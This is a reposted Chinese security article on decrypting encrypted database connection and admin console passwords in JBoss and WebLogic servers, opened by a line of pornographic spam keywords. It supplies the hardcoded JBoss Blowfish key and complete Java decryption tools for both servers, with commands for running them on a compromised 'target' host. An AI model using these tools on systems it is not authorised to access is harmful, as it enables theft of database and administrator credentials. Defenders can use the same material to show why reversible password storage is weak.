久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

解密JBoss和Weblogic數(shù)據(jù)源連接字符串和控制臺(tái)密碼

 筑心wup 2014-12-12
解密JBoss和Weblogic數(shù)據(jù)源連接字符串和控制臺(tái)密碼
2013-07-27 11:03:29     我來(lái)說(shuō)兩句       作者:Insight-labs
收藏    我要投稿
現(xiàn)在越來(lái)越多的站喜歡用java語(yǔ)言的框架做web應(yīng)用了,,很多大型站點(diǎn)經(jīng)常采用jboss或者weblogic做web服務(wù)器,。出于安全原因,,它們都提供把數(shù)據(jù)源連接密碼以及web服務(wù)器后臺(tái)密碼加密的功能,jboss用的是blowfish,,weblogic舊版的加密算法一般為3DES,,新版的則都是AES。

這幾種加密算法都是可逆的,,因?yàn)樵趙eb服務(wù)器連接到數(shù)據(jù)庫(kù)的時(shí)候還是要把密碼解密成明文之后發(fā)過(guò)去或者和challenge運(yùn)算的,,所以我們有了兩個(gè)突破口,第一個(gè)就是,,解密后的明文密碼必然保留在內(nèi)存中,,如果把web服務(wù)器的內(nèi)存空間dump下來(lái)分析是肯定可以找到明文密碼的,這個(gè)方法在前段時(shí)間hip發(fā)的memory forensic文章里有涉及到,。第二個(gè)方法就是,,調(diào)用服務(wù)器程序自身的解密函數(shù),讓它把明文echo出來(lái),。

JBoss

jboss的數(shù)據(jù)庫(kù)連接密碼一般存在%JBOSS_HOME%\server\%appname%\deploy 下面的各種xml里面,,比如oracle的是oracle-ds.xml,mysql是mysql-ds.xml…… 在沒(méi)有加密的情況下,密碼是這么保存的:



1
2
3
4
5
6
<jndi-name>OracleDS</jndi-name>   //jndi名字
<use-java-context>false</use-java-context>
<connection-url>jdbc:oracle:thin:@localhost:1521:orcl</connection-url>  //URL地址
<driver-class>oracle.jdbc.driver.OracleDriver</driver-class//驅(qū)動(dòng)
<user-name>root</user-name>    //用戶名
<password>123456</password>  //密碼



在配置完密碼加密后,,這個(gè)文件里要么沒(méi)有username和password,,要么被comment掉了。下面多了個(gè)EncryptDBPassword
加密后的密碼存在jboss目錄的conf/login-config.xml文件里:


1
2
3
4
5
6
7
8
9
<application-policy name="EncryptDBPassword">
          <authentication>
              <login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
                  <module-option name="username">admin</module-option>
                  <module-option name="password">5dfc52b51bd35553df8592078de921bc</module-option>
                  <module-option name="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=LocalTxCM</module-option>
              </login-module>
          </authentication>
      </application-policy>




5dfc52b51bd35553df8592078de921bc就是加密后的密文了,,有的時(shí)候前面還有個(gè)符號(hào),,也是密文的一部分。
jboss用來(lái)加密的key是明文硬編碼在jboss源碼里的,,key是jaas is the way
解密過(guò)程:
找個(gè)能編譯java的環(huán)境或者在線的java編譯執(zhí)行網(wǎng)站:編譯以下代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*
* JBoss.java - Blowfish encryption/decryption tool with JBoss default password
*    Daniel Martin Gomez <daniel @ ngssoftware.com> - 03/Sep/2009
*
* This file may be used under the terms of the GNU General Public License
* version 2.0 as published by the Free Software Foundation:
*/
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;
   
import java.math.BigInteger;
   
public class JBoss
{
   
public static void main(String[] args) throws Exception
{
   
if ( ( args.length != 2 ) || !( args[0].equals("-e") | args[0].equals("-d") ) )
{
System.out.println( "Usage:\n\tjava JBoss <-e|-d> <encrypted_password>" );
return;
}
   
String mode = args[0];
   
byte[] kbytes = "jaas is the way".getBytes();
SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish");
Cipher cipher = Cipher.getInstance("Blowfish");
   
String out = null;
   
if ( mode.equals("-e") )
{
String secret = args[1];
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.getBytes());
out = new BigInteger(encoding).toString(16);
}
else
{
BigInteger secret = new BigInteger(args[1], 16);
cipher.init(Cipher.DECRYPT_MODE, key);
byte[] encoding = cipher.doFinal(secret.toByteArray());
out = new String(encoding);
}
System.out.println( out );
}
}




編譯后執(zhí)行,,用 -d參數(shù)解密,比如 java JBoss -d 5dfc52b51bd35553df8592078de921bc
就會(huì)返回明文密碼,。

Weblogic

weblogic要稍微復(fù)雜一些,,jboss的加密函數(shù)是java代碼里面的,但是weblogic是自己寫(xiě)的,,所以解密程序也需要調(diào)用weblogic的代碼包,。WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式,。另外,,每個(gè)Weblogic app的加密key都是隨機(jī)生成的,所以不同服務(wù)器甚至同服務(wù)器不同應(yīng)用上的weblogic都是用不同的密碼加密的,,這一點(diǎn)上比jboss安全很多,。但是,畢竟連數(shù)據(jù)庫(kù)的時(shí)候還是要還原,所以還是可以解密的,。解密過(guò)程如下:
加密key都保存在securitySerializedSystemIni.dat 文件中,比如
weblogic安裝目錄\user_projects\domains\APPNAME\securitySerializedSystemIni.dat
有些版本是放到security目錄里的,,一個(gè)應(yīng)用里面只會(huì)有一個(gè)這個(gè)文件,find一下就找到了,。
找到后把它復(fù)制到其他的文件夾,,比如\tmp下面
在這個(gè)文件夾下新建一個(gè)java文件,Decrypt.java,,名字不能錯(cuò),,必須和內(nèi)容的class名字一樣。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.PrintStream;
import weblogic.security.internal.*;
import weblogic.security.internal.encryption.*;
   
public class Decrypt
{
static EncryptionService es = null;
static ClearOrEncryptedService ces = null;
public static void main(String args[])
{
String s = null;
if(args.length == 0)
s = ServerAuthenticate.promptValue("Password: ", false);
else
if(args.length == 1)
s = args[0];
else
System.err.println("Usage: java Decrypt [ password ]");
es = SerializedSystemIni.getExistingEncryptionService();
if(es == null)
{
System.err.println("Unable to initialize encryption service");
return;
}
ces = new ClearOrEncryptedService(es);
if(s != null)
System.out.println("\nDecrypted Password is:"+ces.decrypt(s));
}
}



根據(jù)目標(biāo)的操作系統(tǒng),,在weblogic目錄中找到setWLSEnv.cmd 或者 setWLSEnv.sh 并且執(zhí)行,。執(zhí)行后會(huì)出來(lái)一長(zhǎng)串環(huán)境變量,分別是CLASSPATH和PATH,。但是有些情況下這些環(huán)境變量沒(méi)有加進(jìn)去,,所以還需要執(zhí)行一下(linux下,windows一般不會(huì)出現(xiàn)這個(gè)情況) export $CLASSPATH

如果這個(gè)命令執(zhí)行完也出來(lái)一串東西,,那就說(shuō)明環(huán)境變量設(shè)置正確,,如果沒(méi)有的話,則需要在shell里手動(dòng)執(zhí)行,。把之前執(zhí)行setWLSEnv.sh出來(lái)的兩個(gè)環(huán)境變量分別復(fù)制然后 export一下就行,。再執(zhí)行以下export $CLASSPATH確認(rèn)是否加上了。成功后就可以進(jìn)行下一步了,。

weblogic的數(shù)據(jù)庫(kù)字符串一般存在weblogic下面應(yīng)用目錄的conf里面,,也是xml格式,加密后的密碼格式為
{AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=或者{3DES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=

到之前放Decrypt.java的目錄執(zhí)行 javac Decrypt.java 然后執(zhí)行 java Decrypt 加密后密碼,,
比如 java Decrypt {AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=
執(zhí)行完后就會(huì)告訴你 Decrypted Password is : weblogic

weblogic的控制臺(tái)密碼也是用同樣的方式加密的

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn),。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式,、誘導(dǎo)購(gòu)買(mǎi)等信息,謹(jǐn)防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類(lèi)似文章 更多